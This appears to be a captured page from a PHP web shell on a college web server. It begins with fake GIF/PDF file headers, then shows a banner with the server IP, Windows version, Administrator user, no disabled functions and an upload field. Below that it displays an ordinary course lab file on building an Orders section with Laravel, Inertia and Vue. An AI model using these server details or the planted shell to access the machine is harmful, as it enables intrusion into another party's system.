GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/MichaelMalz/CST2146/Labs/Lab08/ |
Upload File : |
<? // MichaelMalz/CST2146/Labs/Lab03.phpinc $css .= ',colorCode.css'; #d_Var('$f_task',$f_task,'df'); #d_Var('$f_subtask',$f_subtask,'df'); // Process $f_subtask == 'Save path information' if ( $f_task == 'Submit' && $f_subtask == 'Save path information' ) { $EvaluationSubmission_PROCESS = false; require('getLabInfo.phpinc'); require('saveLabInfo.phpinc'); } require('getLabInfo.phpinc'); $checkFileUpload = false; #$showEvaluationVariables = true; require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. $disabled = ''; #$disabled = ' disabled'; $uploadFilename = $classNumber.'_'.$saveFilename.'.zip'; $UN = strtolower(substr($userFirstName,0,3).substr($userLastName,0,3)); $PW = $f_sId; $ShowSpanCountBefore = false; //$ShowSpanCountBefore = true; // <span class="count"> #d_Var("\$_SESSION",$_SESSION,'d+'); #d_Var("\$_SESSION['CST2146']",$_SESSION['CST2146'],'d+'); ?> <fieldset><legend>Description</legend> The purpose of this lab is to start on the Orders section to the site. <br> <?=$gradeNote?> <? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Assignment</legend> <ol class="count"> <li>*** Use Inertia.js and Vue.js for this lab ***</li> <li>Create a directory called <b><?=$evaluationName?></b></li> <!-- 1 --> <li>Create a migration to do the following: <ol> <li>Change the order_complete column type to an unsigned big integer</li> <li>rename column order_complete to statuses_id</li> <li>create a foriegn key relationship with the statuses table.</li> </ol> </li> <!-- 2 --> <li>Update your Orders model by adding the relationships to the following models: <ol> <li>Customers</li> <li>Coupons</li> <li>Products</li> <li>Status</li> </ol> </li> <!-- 3 --> <li>Add the required functions to the OrdersController to do the following: <ol> <li>Create an OrdersRequest to validate the new-edit-order form</li> <li>Load the new-edit-order.vue for a new order</li> <li>Save the new order</li> <li>Load the new-edit-order.vue for an existing order</li> <li>Save the updated order</li> </ol> </li> <!-- 4 --> <li>Demonstrate that your orders page works completely. <ol> <li>Open the page in your Chrome browser</li> <li>Screenshots must include the address bar</li> <li> Take a screenshot of the orders index page and save it as <b class="copyText"><?=$classNumber?>_<?=$saveFilename?>_orders_index.png</b><br> Save the screenshot in your <b><?=$evaluationName?></b> directory. <? showBegin('See example screenshot','Hide example screenshot'); ?><br> <img src="images/ScreenShot_01.png" width="1000" height="650" alt="Screenshot"/><br> <? showEnd (); ?> </li> <li> Take a screenshot of the new order page and save it as <b class="copyText"><?=$classNumber?>_<?=$saveFilename?>_orders_new.png</b><br> Save the screenshot in your <b><?=$evaluationName?></b> directory. <? showBegin('See example screenshot','Hide example screenshot'); ?><br> <img src="images/ScreenShot_02.png" width="1000" height="650" alt="Screenshot"/><br> <? showEnd (); ?> </li> <li> Take a screenshot of the edit order page and save it as <b class="copyText"><?=$classNumber?>_<?=$saveFilename?>_orders_edit.png</b><br> Save the screenshot in your <b><?=$evaluationName?></b> directory. <? showBegin('See example screenshot','Hide example screenshot'); ?><br> <img src="images/ScreenShot_03.png" width="1000" height="650" alt="Screenshot"/><br> <? showEnd (); ?> </li> <li>Commit all changes to your branch on github</li> </ol> </li> <li>Turn in your assignment: <ol type="a"> <li>Ensure the following: <ul> <li>You have your branch selected as the current branch</li> <li>You clicked Push Origin after committing the changes</li> <li>There are 0 changed files showing on the right</li> </ul> </li> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li> <li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li> </ol> </li> </ol> </fieldset> <? if ( $disabled ) { ?> <span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><br> <? } ?> </fieldset> <? require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced. if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; ?>